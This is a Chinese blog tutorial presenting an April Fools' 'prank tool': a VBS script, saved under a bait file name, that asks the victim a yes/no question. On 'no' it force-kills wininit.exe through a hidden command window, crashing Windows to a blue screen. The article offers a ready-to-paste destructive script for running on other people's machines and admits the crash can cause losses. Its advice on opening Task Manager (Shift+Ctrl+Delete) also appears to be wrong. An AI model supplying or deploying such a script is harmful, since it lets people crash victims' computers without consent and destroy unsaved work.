愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

计算机蓝屏简称BSOD,又叫蓝屏死机。蓝屏死机提示已经成为Microsoft Windows操作系统标志性的画面。蓝屏死机主要是Microsoft Windows 系列操作系统为保护电脑数据文件不被破坏而强制显示的屏幕图像。

愚人节即将来临,有许多人绞尽脑汁想各种整人办法。虽然电影《整蛊专家》里面有许多奇葩的恶作剧方法,但是电影源于现实又高于现实,里面有些方法学不来。近期使用计算机学习的小伙伴比较多,今天就用代码制作一个计算机蓝屏。

愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

第一步:右键单击桌面空白位置,新建一个文本文档,并将“新建文本文档.txt”重命名为“打开试试.vbs”。

VBS是基于Visual Basic的脚本语言,我们使用vbs代码实现恶作剧,所以需要将文件后缀名改为“*.vbs”。文件名可以改的吸引人一些,好奇心害死猫。

愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

第二步:右键单击“打开试试.vbs”,选中右键菜单中的编辑,打开记事本编辑窗口。将以下代码复制粘贴到记事本中,同时按下键盘上的Ctrl + S键保存编辑。

如果想修改提示语句的话,将引号中的中文修改成自己想要的内容即可。

愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

代码区域:

If MsgBox("你愿意做我的女朋友吗?",vbYesNo,"提示")=vbyes then

Msgbox "你竟然同意了,好开心!"

Wscript.echo Printer(" ","*","113111111112212111313111513",7)

Function Printer(a1,a2,b,c)

For i = 1 to len(b)

b1 = Mid(b,i,1)

For j = 1 to b1

s = s & " " & a1

n = n + 1

if n = c then

s= s & chr(10)

n = 0

End if

Next

a3 = a1

a1 = a2

a2 = a3

Next

Printer=s

End function

Set ws = CreateObject("Sapi.Spvoice")

k = "我爱你"

ws.speak k

Else

Msgbox "被拒绝了,真的好伤心!"

Msgbox "由于程序太过伤心,系统即将崩溃!!!",64,"系统提示:"

Set ws = Createobject("wscript.shell")

ws.run "cmd /c start /min taskkill /f /im wininit.exe",0,false

End if

愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

VBS程序介绍:程序起始给对方一个选择题,如果对方选择“是”,那么就相安无事,并有文字组合图片和语音表白“我爱你”提示。如果对方选择“否”,将会有提示语句,接着计算机进入蓝屏。

解决蓝屏的办法只能重启计算机。请勿乱用这个vbs代码,以免给他人造成损失。

愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

一旦程序运行该怎么终止呢?千万不要尝试关闭窗口来结束程序。

同时按下键盘上的Shift + Ctrl + Delete,启动任务管理器。在任务管理器的进程中找到并选中“wscript.exe”,点击结束进程就没事了。

愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

如果喜欢请点击关注和转发,有更多计算机小技巧等着你来发现。


分享到:


相關文章: